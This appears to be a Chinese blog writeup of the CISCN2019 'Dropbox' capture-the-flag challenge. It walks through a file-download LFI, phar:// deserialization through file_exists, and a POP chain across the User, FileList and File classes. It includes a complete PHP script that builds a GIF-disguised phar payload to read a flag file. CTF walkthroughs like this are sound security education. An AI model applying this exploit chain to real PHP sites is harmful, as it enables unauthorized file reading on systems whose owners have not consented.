CISCN2019 Dropbox Writeup

0x00关于本文

感谢@glzjn大佬提供的buuoj复现环境!

0x01漏洞突破口 LFI

 在注册登陆简单测试之后可以轻易地发现download.php的LFI漏洞


 后退两个目录即可获取源码(怎么知道是后退两个目录?多试试就知道了),我们发现download.php有这一行
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename"flag") === false) {
看来很不幸,没法直接读flag
但是好在这个漏洞可以把题目中的所有源码都下载下来,方便我们审计

0x01 反序列化漏洞发现

看到download.php代码中存在这一行
include "class.php";
一般来说像CTF题目这种超级超级小规模的项目是不会需要真正用到OOP来开发的,除非....想要用到相关的漏洞,比如反序列化
哪里有反序列化点呢?就藏在文件操作中。(相关阅读利用 phar 拓展 php 反序列化漏洞攻击面)
在download.php中存在如下代码(事实证明download.php并不能正常利用,在之后我会讲)
$file = new File();
...
$filename = (string$_POST['filename'];
...
$file->open($filename)
跟到File类里面的open函数中,这个$filename被直接带入
file_exists($filename)
这样大黑客们就可以利用phar://伪协议用反序列化搞事情,好了我们开始审计代码!

0x02 POP Chain构造

我们现在需要构造POP Chain来RCE或者文件读取,要审计反序列化,我们第一步是需要找到起点,那就是__destruct或__wakeup函数,不过这道题目里面没有__wakeup函数,只有两个__destruct函数。
首先看到FileList类的__destruct
    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">娑撳��娴�</a> / <a href="#" class="delete">閸掔娀娅�</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}
好像啥都没有的样子。。。
那再看User类的
    public function __destruct() {
        $this->db->close();
    }
这个$this->db我们是可以操纵的,那我们首先尝试找到一个close函数来继续这个链条
而File类里面恰巧有一个close函数,但是代码只有一句。
return file_get_contents($this->filename);
能读取是能读取,但是我又不能输出,这怎么可以呢?
这里$this->db->close()除了可以调用close函数之外,还可以在别的类不存在close的时候调用__call函数。
果不其然,在FileList类找到了
    public function __call($func, $args) {
        array_push($this->funcs$func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
其中$func是"close",这个函数首先把"close"塞到了$this->funcs的尾部,接着遍历$files做了些蜜汁操作
$this->results[$file->name()][$func] = $file->$func();
看了下大概是给File类量身定做的,只有File类才同时有name和close,而这里我们要是操纵$file的确能把内容塞到$this->results数组里面。
可是写进去了怎么读出来呢,那就要看到FileList类的__destruct函数了,仔细看下这个函数发现真的能把结果输出出来,那这样我们就形成了一条从User类到FileList类,再到File类的POP Chain。

0x03 EXP构造

(filename为什么是/flag.txt?我也想知道。这部分我是在网上看到别人的EXP这么写的
<?php
class File {
    public $filename;
    function __construct()
    {
        $this->filename="/flag.txt";

    }
}
class FileList 
{
    private $files;
    function __construct()
    {
        $this->files=[new File()];
    }
}

class User {
    public $db;
    function __construct()
    {
        $this->db=new FileList();
    }
}
$o = new User();
$filename = 'avatar.phar.gif';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

0x04 最后利用

本来以为直接download.php里面直接用phar就可以的,没想到这个文件始终读不出来

接着才发现了我刚刚忽略的一行
ini_set("open_basedir"getcwd() . ":/etc:/tmp");
原来他这里搞了个open_basedir害得我读不出来,但是问题不大,因为delete.php也操作文件,甚至不需要换参数。
url一换,结果就出来了

评论

此博客中的热门博文

局域网监控软件WFilter ICF 鸡肋0day RCE漏洞挖掘

别想偷我源码:通用的针对源码泄露利用程序的反制(常见工具集体沦陷)

复现基于eBPF实现的Docker逃逸